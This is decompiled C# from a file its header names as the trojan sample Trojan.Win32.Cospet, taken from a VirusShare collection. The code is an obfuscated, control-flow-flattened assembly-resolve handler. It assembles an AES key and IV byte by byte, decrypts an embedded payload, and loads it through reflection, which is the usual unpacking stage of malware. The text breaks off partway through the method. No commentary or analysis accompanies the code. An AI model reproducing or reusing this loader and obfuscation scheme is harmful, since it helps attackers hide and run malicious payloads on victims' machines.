// Decompiled with JetBrains decompiler
// Type: dIB5tm1fm4ourlbe9N.YbbxknoBYLxEOxk0Pn
// Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 7876418B-9B45-4205-B20B-41AA64972C85
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe

using lIMo5cXu7QVSJ7hdyJ;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using TmwCXiWu118CwLLcBx;

namespace dIB5tm1fm4ourlbe9N
{
  internal class YbbxknoBYLxEOxk0Pn
  {
    private static string[] reWBsatke = new string[0];
    private static Assembly \u0039ML9lo6tT = (Assembly) null;
    private static bool fTu8VEKSg = false;

    [MethodImpl(MethodImplOptions.NoInlining)]
    static Assembly Uj1VGPQhn([In] object obj0, [In] ResolveEventArgs obj1)
    {
      int num1 = 121;
      if (true)
        goto label_22;
label_1:
      byte[] numArray1;
      numArray1[3] = (byte) (135 - 45);
      int num2 = 246;
      goto label_23;
label_22:
      num2 = num1;
label_23:
      int num3;
      byte[] numArray2;
      int num4;
      string str;
      CryptoStream cryptoStream;
      MemoryStream memoryStream;
      ICryptoTransform transform;
      byte[] numArray3;
      RijndaelManaged rijndaelManaged;
      byte[] numArray4;
      while (true)
      {
        switch (num2)
        {
          case 0:
            numArray2 = new byte[16];
            num2 = 232;
            continue;
          case 1:
            goto label_258;
          case 2:
            numArray1[15] = (byte) num3;
            num2 = 97;
            continue;
          case 3:
            goto label_171;
          case 4:
            goto label_44;
          case 5:
            goto label_169;
          case 6:
            goto label_235;
          case 7:
            numArray1[15] = (byte) num3;
            num2 = 146;
            continue;
          case 8:
            numArray1[5] = (byte) (164 - 54);
            num2 = 43;
            continue;
          case 9:
            goto label_94;
          case 10:
            goto label_113;
          case 11:
            goto label_100;
          case 12:
            num4 = 210 - 70;
            num2 = 236;
            continue;
          case 13:
            numArray1[28] = (byte) num3;
            num1 = 51;
            if (true)
              goto label_22;
            else
              goto case 344;
          case 14:
            goto label_47;
          case 15:
            num4 = 189 + 63;
            num2 = 198;
            continue;
          case 16:
            numArray1[2] = (byte) (73 + 112);
            num2 = 305;
            continue;
          case 17:
            goto label_277;
          case 18:
            goto label_266;
          case 19:
            goto label_56;
          case 20:
            goto label_336;
          case 21:
            num3 = 78 + 63;
            num2 = 13;
            continue;
          case 22:
            goto label_99;
          case 23:
            numArray2[7] = (byte) num4;
            num2 = 261;
            continue;
          case 24:
            goto label_143;
          case 25:
            numArray1[11] = (byte) (186 - 62);
            num2 = 171;
            continue;
          case 26:
            goto label_27;
          case 27:
            goto label_115;
          case 28:
            goto label_89;
          case 29:
            numArray1[23] = (byte) (198 - 66);
            num2 = 125;
            continue;
          case 30:
            goto label_297;
          case 31:
            numArray1[8] = (byte) num3;
            num1 = 324;
            if (true)
              goto label_22;
            else
              goto case 151;
          case 32:
            goto label_268;
          case 33:
            num3 = 245 - 81;
            num2 = 233;
            continue;
          case 34:
            numArray1[22] = (byte) (39 + 65);
            num2 = 155;
            continue;
          case 35:
            goto label_284;
          case 36:
            numArray2[11] = (byte) num4;
            num2 = 317;
            continue;
          case 37:
            num4 = 159 - 53;
            num1 = 182;
            if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto case 237;
            else
              goto label_22;
          case 38:
            numArray1[14] = (byte) (155 - 51);
            num2 = 27;
            continue;
          case 39:
            goto label_220;
          case 40:
            goto label_111;
          case 41:
            goto label_347;
          case 42:
            goto label_14;
          case 43:
            numArray1[5] = (byte) (142 + 35);
            num2 = 64;
            continue;
          case 44:
            num3 = 175 - 58;
            num2 = 189;
            continue;
          case 45:
            numArray1[31] = (byte) num3;
            num2 = 48;
            continue;
          case 46:
            numArray1[4] = (byte) num3;
            num2 = 91;
            continue;
          case 47:
            numArray2[13] = (byte) num4;
            num1 = 312;
            if (true)
              goto label_22;
            else
              goto case 178;
          case 48:
            numArray1[31] = (byte) (30 + 58);
            num2 = 192;
            continue;
          case 49:
            transform = (ICryptoTransform) YbbxknoBYLxEOxk0Pn.LKX4l47Yoj2lWp0hqh((object) rijndaelManaged, (object) numArray4, (object) numArray3);
            num2 = 133;
            continue;
          case 50:
            numArray1[22] = (byte) (90 + 26);
            num2 = 346;
            continue;
          case 51:
            goto label_340;
          case 52:
            goto label_348;
          case 53:
            numArray2[6] = (byte) num4;
            num1 = 165;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case 69;
          case 54:
            goto label_52;
          case 55:
            str = (string) YbbxknoBYLxEOxk0Pn.WS6tAn0RW8Hurp1Xwj((object) obj1);
            num1 = 60;
            if (true)
              goto label_22;
            else
              goto case 130;
          case 56:
            num3 = 157 + 60;
            num2 = 28;
            continue;
          case 57:
            num3 = 24 + 38;
            num2 = 178;
            continue;
          case 58:
            goto label_185;
          case 59:
            numArray2[13] = (byte) (184 - 61);
            num1 = 83;
            if (true)
              goto label_22;
            else
              goto case 53;
          case 60:
            goto label_11;
          case 61:
            goto label_225;
          case 62:
            goto label_133;
          case 63:
            numArray2[15] = (byte) (252 - 84);
            num2 = 1;
            continue;
          case 64:
            numArray1[6] = (byte) (204 - 68);
            num2 = (int) byte.MaxValue;
            continue;
          case 65:
            goto label_2;
          case 66:
            numArray1[27] = (byte) (48 + 79);
            num1 = 210;
            if (true)
              goto label_22;
            else
              goto case 194;
          case 67:
          case 115:
            goto label_34;
          case 68:
            goto label_58;
          case 69:
            numArray1[6] = (byte) (136 - 45);
            num2 = 256;
            continue;
          case 70:
            cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write);
            num1 = 309;
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto label_22;
            else
              goto case 118;
          case 71:
            num3 = 199 - 66;
            num1 = 31;
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto label_22;
            else
              goto case 102;
          case 72:
            numArray1[26] = (byte) num3;
            num2 = 148;
            continue;
          case 73:
            goto label_123;
          case 74:
            numArray1[26] = (byte) num3;
            num1 = 339;
            if (true)
              goto label_22;
            else
              goto case 2;
          case 75:
            numArray1[0] = (byte) (137 - 66);
            num1 = 269;
            if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto case 82;
            else
              goto label_22;
          case 76:
            numArray1[28] = (byte) num3;
            num1 = 58;
            if (true)
              goto label_22;
            else
              goto case 57;
          case 77:
            goto label_192;
          case 78:
            goto label_83;
          case 79:
            num4 = 162 - 54;
            num1 = 53;
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto label_22;
            else
              goto case 280;
          case 80:
          case 273:
            numArray2[7] = (byte) (67 + 112);
            num1 = 288;
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto label_22;
            else
              goto case 25;
          case 81:
            goto label_259;
          case 82:
            numArray2[2] = (byte) num4;
            num2 = 12;
            continue;
          case 83:
            goto label_90;
          case 84:
            goto label_236;
          case 85:
            goto label_132;
          case 86:
            goto label_31;
          case 87:
            goto label_121;
          case 88:
            num3 = 55 - 19;
            num2 = 276;
            continue;
          case 89:
            goto label_289;
          case 90:
            goto label_174;
          case 91:
            goto label_15;
          case 92:
            goto label_72;
          case 93:
            goto label_166;
          case 94:
            num3 = 206 - 68;
            num2 = 4;
            continue;
          case 95:
            goto label_96;
          case 96:
            num4 = 14 + 96;
            num1 = 204;
            if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto case 344;
            else
              goto label_22;
          case 97:
            numArray1[15] = (byte) (41 + 59);
            num2 = 243;
            continue;
          case 98:
            goto label_39;
          case 99:
            goto label_208;
          case 100:
            goto label_324;
          case 101:
            numArray2[6] = (byte) num4;
            num2 = 262;
            continue;
          case 102:
            numArray1[29] = (byte) num3;
            num2 = 257;
            continue;
          case 103:
            goto label_164;
          case 104:
            goto label_263;
          case 105:
            goto label_28;
          case 106:
            goto label_198;
          case 107:
            goto label_346;
          case 108:
            goto label_351;
          case 109:
            goto label_175;
          case 110:
            goto label_343;
          case 111:
            goto label_273;
          case 112:
            goto label_101;
          case 113:
            goto label_338;
          case 114:
            goto label_295;
          case 116:
            goto label_75;
          case 117:
            goto label_269;
          case 118:
            numArray1[3] = (byte) (97 - 81);
            num2 = 93;
            continue;
          case 119:
            goto label_344;
          case 120:
            numArray1[1] = (byte) num3;
            num2 = 318;
            continue;
          case 121:
            if ((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT != null)
              goto case 55;
            else
              goto label_342;
          case 122:
            numArray1[30] = (byte) (153 - 51);
            num1 = 343;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case (int) sbyte.MaxValue;
          case 123:
            goto label_1;
          case 124:
            goto label_302;
          case 125:
            goto label_98;
          case 126:
            numArray2[11] = (byte) (55 + 42);
            num1 = 201;
            if (true)
              goto label_22;
            else
              goto case 165;
          case (int) sbyte.MaxValue:
            num4 = 193 - 64;
            num1 = 290;
            if (true)
              goto label_22;
            else
              goto case 249;
          case 128:
          case 207:
            goto label_207;
          case 129:
            goto label_195;
          case 130:
            numArray1[21] = (byte) num3;
            num2 = 264;
            continue;
          case 131:
            numArray1[18] = (byte) num3;
            num2 = 332;
            continue;
          case 132:
            numArray1[11] = (byte) num3;
            num1 = 229;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case 286;
          case 133:
            memoryStream = new MemoryStream();
            num1 = 70;
            if (true)
              goto label_22;
            else
              goto case 29;
          case 134:
            num4 = 91 + 43;
            num1 = 304;
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
              goto label_22;
            else
              goto case 97;
          case 135:
            goto label_260;
          case 136:
            goto label_125;
          case 137:
            num3 = 165 - 55;
            num2 = 195;
            continue;
          case 138:
            goto label_352;
          case 139:
            num4 = 106 - 16;
            num2 = 5;
            continue;
          case 140:
            goto label_251;
          case 141:
            goto label_294;
          case 142:
            goto label_17;
          case 143:
            goto label_59;
          case 144:
            goto label_97;
          case 145:
            goto label_37;
          case 146:
            goto label_141;
          case 147:
            goto label_240;
          case 148:
            numArray1[26] = (byte) (10 + 58);
            num2 = 144;
            continue;
          case 149:
            goto label_323;
          case 150:
            numArray1[24] = (byte) num3;
            num1 = 44;
            if (true)
              goto label_22;
            else
              goto case 12;
          case 151:
            num4 = 155 - 51;
            num2 = 281;
            continue;
          case 152:
            goto label_122;
          case 153:
            goto label_5;
          case 154:
            goto label_257;
          case 155:
            goto label_161;
          case 156:
            goto label_357;
          case 157:
            goto label_271;
          case 158:
            goto label_7;
          case 159:
            goto label_180;
          case 160:
            goto label_156;
          case 161:
            goto label_206;
          case 162:
            goto label_354;
          case 163:
            numArray3 = numArray2;
            num2 = 156;
            continue;
          case 164:
            goto label_106;
          case 165:
            num4 = 174 - 58;
            num2 = 101;
            continue;
          case 166:
            goto label_243;
          case 167:
            goto label_172;
          case 168:
            goto label_129;
          case 169:
            goto label_149;
          case 170:
            goto label_112;
          case 171:
            num3 = 129 - 43;
            num1 = 132;
            if (true)
              goto label_22;
            else
              goto case 334;
          case 172:
            numArray1[5] = (byte) (203 - 67);
            num1 = 138;
            if (true)
              goto label_22;
            else
              goto case 74;
          case 173:
            goto label_306;
          case 174:
            goto label_199;
          case 175:
            goto label_272;
          case 176:
            goto label_92;
          case 177:
            goto label_329;
          case 178:
            numArray1[29] = (byte) num3;
            num1 = 302;
            if (true)
              goto label_22;
            else
              goto case 297;
          case 179:
            goto label_173;
          case 180:
            num4 = 118 + 61;
            num2 = 52;
            continue;
          case 181:
            goto label_276;
          case 182:
            goto label_131;
          case 183:
            goto label_262;
          case 184:
            goto label_245;
          case 185:
            goto label_65;
          case 186:
            goto label_138;
          case 187:
            goto label_85;
          case 188:
            numArray1[2] = (byte) (54 + 85);
            num2 = 19;
            continue;
          case 189:
            goto label_66;
          case 190:
            numArray2[9] = (byte) num4;
            num2 = 184;
            continue;
          case 191:
            numArray1[12] = (byte) (18 + 112);
            num1 = 187;
            if (true)
              goto label_22;
            else
              goto case 328;
          case 192:
            goto label_3;
          case 193:
            goto label_63;
          case 194:
            num3 = 128 - 42;
            num2 = 112;
            continue;
          case 195:
            numArray1[16] = (byte) num3;
            num2 = 325;
            continue;
          case 196:
            goto label_286;
          case 197:
            goto label_211;
          case 198:
            goto label_78;
          case 199:
            num4 = 244 - 81;
            num1 = 114;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case 242;
          case 200:
            goto label_305;
          case 201:
            goto label_139;
          case 202:
            goto label_10;
          case 203:
            goto label_183;
          case 204:
            goto label_322;
          case 205:
            num4 = 80 + 38;
            num2 = 153;
            continue;
          case 206:
            goto label_128;
          case 208:
            numArray2[15] = (byte) (165 - 55);
            num2 = 63;
            continue;
          case 209:
            goto label_16;
          case 210:
            numArray1[27] = (byte) (97 + 80);
            num2 = 212;
            continue;
          case 211:
            YbbxknoBYLxEOxk0Pn.UAiUy9DbJPvrtDfaYG((object) cryptoStream);
            num1 = 40;
            if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto case 343;
            else
              goto label_22;
          case 212:
            goto label_114;
          case 213:
            goto label_231;
          case 214:
            goto label_109;
          case 215:
            numArray1 = new byte[32];
            num2 = 11;
            continue;
          case 216:
            goto label_221;
          case 217:
            goto label_237;
          case 218:
            goto label_224;
          case 219:
            goto label_87;
          case 220:
            numArray1[22] = (byte) (65 + 62);
            num2 = 34;
            continue;
          case 221:
            goto label_12;
          case 222:
            goto label_86;
          case 223:
            goto label_353;
          case 224:
            goto label_222;
          case 225:
            goto label_227;
          case 226:
            num4 = 72 - 28;
            num2 = 335;
            continue;
          case 227:
            goto label_275;
          case 228:
            goto label_304;
          case 229:
            goto label_71;
          case 230:
            goto label_292;
          case 231:
            goto label_147;
          case 232:
            goto label_95;
          case 233:
            goto label_142;
          case 234:
            num3 = 154 - 51;
            num2 = 39;
            continue;
          case 235:
            numArray1[24] = (byte) (104 - 44);
            num2 = 186;
            continue;
          case 236:
            goto label_26;
          case 237:
            numArray1[25] = (byte) (197 + 26);
            goto case 341;
          case 238:
            goto label_117;
          case 239:
            numArray2[12] = (byte) (115 + 19);
            num1 = 289;
            if (true)
              goto label_22;
            else
              goto case 341;
          case 240:
            goto label_197;
          case 241:
            goto label_265;
          case 242:
            num4 = 162 - 110;
            num2 = 296;
            continue;
          case 243:
            goto label_337;
          case 244:
            goto label_303;
          case 245:
            goto label_30;
          case 246:
            goto label_130;
          case 247:
            goto label_29;
          case 248:
            goto label_196;
          case 249:
            numArray1[20] = (byte) (7 + 2);
            num2 = 164;
            continue;
          case 250:
            goto label_84;
          case 251:
            goto label_241;
          case 252:
            goto label_320;
          case 253:
            numArray1[7] = (byte) (213 + 16);
            num2 = 71;
            continue;
          case 254:
            numArray1[19] = (byte) (3 + 78);
            YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6();
            if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
            {
              num2 = 207;
              continue;
            }
            goto label_191;
          case (int) byte.MaxValue:
            goto label_36;
          case 256:
            goto label_13;
          case 257:
            goto label_163;
          case 258:
            goto label_50;
          case 259:
            goto label_301;
          case 260:
            goto label_57;
          case 261:
            numArray2[7] = (byte) (71 + 43);
            goto case 80;
          case 262:
            goto label_244;
          case 263:
            goto label_249;
          case 264:
            num3 = 97 + 102;
            num2 = 129;
            continue;
          case 265:
            goto label_9;
          case 266:
            goto label_315;
          case 267:
            num3 = 5 + 83;
            num1 = 130;
            if (true)
              goto label_22;
            else
              goto case 33;
          case 268:
            goto label_333;
          case 269:
            numArray1[1] = (byte) (27 + 85);
            num1 = 214;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case 302;
          case 270:
            numArray2[1] = (byte) num4;
            num2 = 298;
            continue;
          case 271:
            goto label_288;
          case 272:
            numArray2[14] = (byte) num4;
            num2 = 61;
            continue;
          case 274:
            goto label_267;
          case 275:
            goto label_70;
          case 276:
            goto label_270;
          case 277:
            goto label_124;
          case 278:
            goto label_291;
          case 279:
            numArray1[5] = (byte) num3;
            num2 = 172;
            continue;
          case 280:
            numArray2[7] = (byte) (62 - 37);
            num2 = 179;
            continue;
          case 281:
            goto label_226;
          case 282:
            goto label_204;
          case 283:
            goto label_255;
          case 284:
            goto label_62;
          case 285:
            goto label_176;
          case 286:
            numArray1[30] = (byte) num3;
            num2 = 122;
            continue;
          case 287:
            numArray1[23] = (byte) num3;
            num2 = 29;
            continue;
          case 288:
            goto label_349;
          case 289:
            goto label_184;
          case 290:
            goto label_127;
          case 291:
            goto label_165;
          case 292:
            goto label_283;
          case 293:
            numArray2[5] = (byte) (179 - 59);
            num2 = 109;
            continue;
          case 294:
            num4 = 69 + 71;
            num2 = 157;
            continue;
          case 295:
            numArray1[4] = (byte) num3;
            num2 = 301;
            continue;
          case 296:
            numArray2[15] = (byte) num4;
            num2 = 163;
            continue;
          case 297:
            numArray2[0] = (byte) (207 - 69);
            num2 = 321;
            continue;
          case 298:
            goto label_77;
          case 299:
            goto label_61;
          case 300:
            goto label_254;
          case 301:
            num3 = 181 + 58;
            num2 = 3;
            continue;
          case 302:
            numArray1[29] = (byte) (178 - 111);
            num1 = 78;
            if (true)
              goto label_22;
            else
              goto case 44;
          case 303:
            goto label_6;
          case 304:
            goto label_32;
          case 305:
            goto label_74;
          case 306:
            goto label_110;
          case 307:
            goto label_308;
          case 308:
            numArray1[19] = (byte) (214 - 118);
            num2 = 98;
            continue;
          case 309:
            goto label_250;
          case 310:
            goto label_311;
          case 311:
            goto label_144;
          case 312:
            goto label_335;
          case 313:
            goto label_46;
          case 314:
            goto label_230;
          case 315:
            goto label_200;
          case 316:
            goto label_170;
          case 317:
            num4 = 176 + 18;
            num2 = 100;
            continue;
          case 318:
            goto label_345;
          case 319:
            goto label_88;
          case 320:
            goto label_219;
          case 321:
            goto label_53;
          case 322:
            numArray1[20] = (byte) (49 + 114);
            num1 = 99;
            if (true)
              goto label_22;
            else
              goto case 122;
          case 323:
            numArray1[5] = (byte) num3;
            num2 = 8;
            continue;
          case 324:
            goto label_325;
          case 325:
            num3 = 252 - 84;
            num2 = 87;
            continue;
          case 326:
            goto label_102;
          case 327:
            goto label_167;
          case 328:
            num4 = 84 + 101;
            num2 = 42;
            continue;
          case 329:
            goto label_350;
          case 330:
            goto label_203;
          case 331:
            numArray1[1] = (byte) (41 + 3);
            num2 = 26;
            continue;
          case 332:
            goto label_328;
          case 333:
            goto label_148;
          case 334:
            num3 = 229 - 76;
            num2 = 336;
            continue;
          case 335:
            goto label_278;
          case 336:
            goto label_140;
          case 337:
            goto label_261;
          case 338:
            numArray1[19] = (byte) (194 - 64);
            num2 = 308;
            continue;
          case 339:
            goto label_107;
          case 340:
            num4 = 41 + 61;
            num2 = 227;
            continue;
          case 341:
            num3 = 246 - 82;
            num2 = 74;
            continue;
          case 342:
            numArray1[16] = (byte) num3;
            num1 = 209;
            if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
              goto label_22;
            else
              goto case 317;
          case 343:
            numArray1[30] = (byte) (113 - 59);
            num2 = 310;
            continue;
          case 344:
            num3 = 168 + 83;
            num2 = 76;
            continue;
          case 345:
            goto label_242;
          case 346:
            num3 = 147 + 92;
            num2 = 251;
            continue;
          case 347:
            goto label_137;
          case 348:
            goto label_355;
          default:
            goto label_24;
        }
      }
label_2:
      numArray1[21] = (byte) num3;
      num1 = 105;
      if (true)
        goto label_22;
label_3:
      num3 = 211 - 70;
      int num5 = 160;
      goto label_21;
label_5:
      numArray2[5] = (byte) num4;
      num1 = 124;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_6:
      num3 = 244 - 81;
      num5 = 131;
      goto label_21;
label_7:
      numArray1[12] = (byte) (72 + 28);
      num5 = 191;
      goto label_21;
label_9:
      numArray1[24] = (byte) num3;
      num1 = 235;
      if (true)
        goto label_22;
label_10:
      numArray2[6] = (byte) num4;
      num1 = 79;
      goto label_22;
label_11:
      int index = 0;
      num5 = 115;
      goto label_21;
label_12:
      numArray2[10] = (byte) (59 + 83);
      num1 = 110;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_305;
      else
        goto label_22;
label_13:
      numArray1[6] = (byte) (199 - 116);
      num5 = 196;
      goto label_21;
label_14:
      numArray2[1] = (byte) num4;
      num1 = 149;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_15:
      numArray1[4] = (byte) (88 + 13);
      num1 = 108;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_137;
      else
        goto label_22;
label_16:
      num3 = 198 - 96;
      num1 = 329;
      goto label_22;
label_17:
      num3 = 16 + 74;
      num5 = 274;
label_21:
      num1 = num5;
      goto label_22;
label_24:
      num5 = 341;
      goto label_21;
label_26:
      numArray2[2] = (byte) num4;
      num1 = 181;
      goto label_22;
label_27:
      num3 = 146 - 48;
      num5 = 120;
      goto label_21;
label_28:
      num3 = 214 - 71;
      num1 = 174;
      goto label_22;
label_29:
      num3 = 245 - 81;
      num1 = 345;
      if (YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_22;
label_30:
      numArray2[0] = (byte) num4;
      num5 = 297;
      goto label_21;
label_31:
      numArray1[23] = (byte) (97 + 116);
      num1 = 271;
      goto label_22;
label_32:
      numArray2[14] = (byte) num4;
      num1 = 217;
      goto label_22;
label_34:
      if (index >= YbbxknoBYLxEOxk0Pn.reWBsatke.Length)
      {
        num5 = 348;
        goto label_21;
      }
      else if (YbbxknoBYLxEOxk0Pn.tRIQC2fXT7g74mWlkL((object) YbbxknoBYLxEOxk0Pn.reWBsatke[index], (object) str))
      {
        num5 = 327;
        goto label_21;
      }
      else
      {
        ++index;
        num1 = 67;
        if (true)
          goto label_22;
        else
          goto label_169;
      }
label_36:
      num3 = 52 + 91;
      num1 = 306;
      goto label_22;
label_37:
      numArray1[9] = (byte) num3;
      num1 = 277;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_174;
      else
        goto label_22;
label_39:
      numArray1[20] = (byte) (232 - 77);
      num1 = 94;
      goto label_22;
label_44:
      numArray1[20] = (byte) num3;
      num5 = 162;
      goto label_21;
label_46:
      num3 = 239 - 79;
      num1 = 32;
      if (true)
        goto label_22;
label_47:
      num3 = 142 - 47;
      num1 = 279;
      if (YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_329;
      else
        goto label_22;
label_50:
      byte[] numArray5 = new byte[0];
      num1 = 320;
      goto label_22;
label_52:
      num4 = 10 + 116;
      num1 = 202;
      goto label_22;
label_53:
      num4 = 22 + 39;
      num5 = 10;
      goto label_21;
label_56:
      numArray1[2] = (byte) (82 + 32);
      num1 = 16;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_57:
      numArray2[3] = (byte) num4;
      num5 = 285;
      goto label_21;
label_58:
      num3 = 204 - 68;
      num5 = 265;
      goto label_21;
label_59:
      num3 = 184 - 61;
      num1 = 161;
      goto label_22;
label_61:
      YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT = (Assembly) YbbxknoBYLxEOxk0Pn.ms7UFSxhLDM3n3ktTf(YbbxknoBYLxEOxk0Pn.qiaGIPMaalUqZ3sMZf((object) numArray5));
      num1 = 9;
      if (true)
        goto label_22;
label_62:
      numArray1[12] = (byte) (31 + 55);
      num1 = 158;
      if (true)
        goto label_22;
label_63:
      numArray2[10] = (byte) num4;
      num1 = 136;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_235;
      else
        goto label_22;
label_65:
      num3 = 170 - 56;
      num5 = 2;
      goto label_21;
label_66:
      numArray1[24] = (byte) num3;
      num1 = 168;
      goto label_22;
label_70:
      num3 = 173 - 57;
      num5 = 65;
      goto label_21;
label_71:
      numArray1[11] = (byte) (97 - 52);
      num5 = 284;
      goto label_21;
label_72:
      numArray1[17] = (byte) (26 + 5);
      num5 = 278;
      goto label_21;
label_74:
      num3 = 61 + 58;
      num5 = 173;
      goto label_21;
label_75:
      num3 = 92 + 120;
      num5 = 170;
      goto label_21;
label_77:
      numArray2[1] = (byte) (146 - 48);
      num5 = 294;
      goto label_21;
label_78:
      numArray2[0] = (byte) num4;
      num1 = 307;
      goto label_22;
label_83:
      num3 = 61 + 66;
      num5 = 286;
      goto label_21;
label_84:
      num4 = 78 + 65;
      num5 = 326;
      goto label_21;
label_85:
      numArray1[12] = (byte) (36 + 114);
      num1 = 197;
      if (true)
        goto label_22;
label_86:
      numArray1[13] = (byte) num3;
      num1 = 88;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_354;
      else
        goto label_22;
label_87:
      numArray1[19] = (byte) num3;
      num5 = 338;
      goto label_21;
label_88:
      numArray1[19] = (byte) num3;
      num5 = 89;
      goto label_21;
label_89:
      numArray1[8] = (byte) num3;
      num5 = 259;
      goto label_21;
label_90:
      numArray2[13] = (byte) (58 + 29);
      num1 = 95;
      if (!YbbxknoBYLxEOxk0Pn.GTJgvmVEjrh4CCn7N6())
        goto label_63;
      else
        goto label_22;
label_92:
      numArray1[9] = (byte) (131 - 80);
      num5 = 313;
      goto label_21;
label_94:
      YbbxknoBYLxEOxk0Pn.reWBsatke = (string[]) YbbxknoBYLxEOxk0Pn.e8PiFxteCyHSGi0LgY((object) YbbxknoBYLxEOxk0Pn.\u0039ML9lo6tT);
      num5 = 55;
      goto label_21;
label_95:
      num4 = 128 - 42;
      num5 = 245;
      goto label_21;
label_96:
      num4 = 54 + 75;
      num1 = 47;
      if (true)
        goto label_22;
label_97:
      numArray1[26] = (byte) (250 - 83);
      num5 = 263;
      goto label_21;
label_98:
      numArray1[23] = (byte) (165 + 75);
      num1 = 141;
      if (true)
        goto label_22;
label_99:
      numArray1[15] = (byte) (114 + 113);
      num1 = 185;
      goto label_22;
label_100:
      num3 = 2 + 70;
      num1 = 77;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_101:
      numArray1[16] = (byte) num3;
      num1 = 137;
      if (true)
        goto label_22;
label_102:
      numArray2[4] = (byte) num4;
      num1 = (int) sbyte.MaxValue;
      goto label_22;
label_106:
      numArray1[20] = (byte) (121 + 95);
      num5 = 322;
      goto label_21;
label_107:
      num3 = 5 + 120;
      num5 = 72;
      goto label_21;
label_109:
      num3 = 29 + 23;
      num5 = 252;
      goto label_21;
label_110:
      numArray1[6] = (byte) num3;
      num1 = 300;
      if (true)
        goto label_22;
label_111:
      BinaryReader binaryReader;
      YbbxknoBYLxEOxk0Pn.EdMogJK23C5V2STpQS((object) binaryReader);
      num1 = 299;
      goto label_22;
label_112:
      numArray1[10] = (byte) num3;
      num1 = 111;
      if (true)
        goto label_22;
label_113:
      numArray2[0] = (byte) num4;
      num1 = 15;
      goto label_22;
label_114:
      numArray1[27] = (byte) (34 - 11);
      num1 = 21;
      goto label_22;
label_115:
      numArray1[14] = (byte) (54 + 75);
      num5 = 135;
      goto label_21;
label_117:
      numArray1[9] = (byte) num3;
      num1 = 104;
      goto label_22;
label_121:
      numArray1[16] = (byte) num3;
      num5 = 175;
      goto label_21;
label_122:
      numArray1[17] = (byte) (240 - 80);
      num1 = 92;
      if (true)
        goto label_22;
label_123:
      numArray2[15] = (byte) num4;
      num5 = 208;
      goto label_21;
label_124:
      num3 = 247 - 82;
      num5 = 238;
      goto label_21;
label_125:
      numArray2[10] = (byte) (110 + 122);
      num5 = 126;
      goto label_21;
label_127:
      numArray2[4] = (byte) num4;
      num1 = 81;
      if (!YbbxknoBYLxEOxk0Pn.\u0035nPOsTBkhnyaq7ApAB())
        goto label_22;
label_128:
      num4 = 10 + 30;
      num5 = 260;
      goto label_21;
label_129:
      numArray1[24] = (byte) (58 + 64);
      num5 = 68;
      goto label_21;
label_130:
      numArray1[3] = (byte) (6 + 25);
      num1 = 142;
      if (true)
        goto label_22;
label_131:
      numArray2[4] = (byte) num4;
      num5 = 250;
      goto label_21;
label_132:
      numArray1[10] = (byte) num3;
      num5 = 183;
      goto label_21;
label_133:
      numArray2[10] = (byte) (97 + 92);
      num5 = 221;
      goto label_21;
label_137:
      numArray2[15] = (byte) num4;
      num1 = 96;
      goto label_22;
label_138:
      num3 = 23 + 68;
      num5 = 159;
      goto label_21;
label_139:
      num4 = 154 - 51;
      num1 = 36;
      goto label_22;
label_140:
      numArray1[7] = (byte) num3;
      num5 = 253;
      goto label_21;
label_141:
      num3 = 147 - 49;
      num1 = 166;
      goto label_22;
label_142:
      numArray1[8] = (byte) num3;
      num5 = 56;
      goto label_21;
label_143:
      num4 = 108 + 114;
      num5 = 216;
      goto label_21;
label_144:
      num4 = 240 - 80;
      num5 = 316;
      goto label_21;
label_147:
      numArray1[29] = (byte) (170 - 56);
      num1 = 57;
      goto label_22;
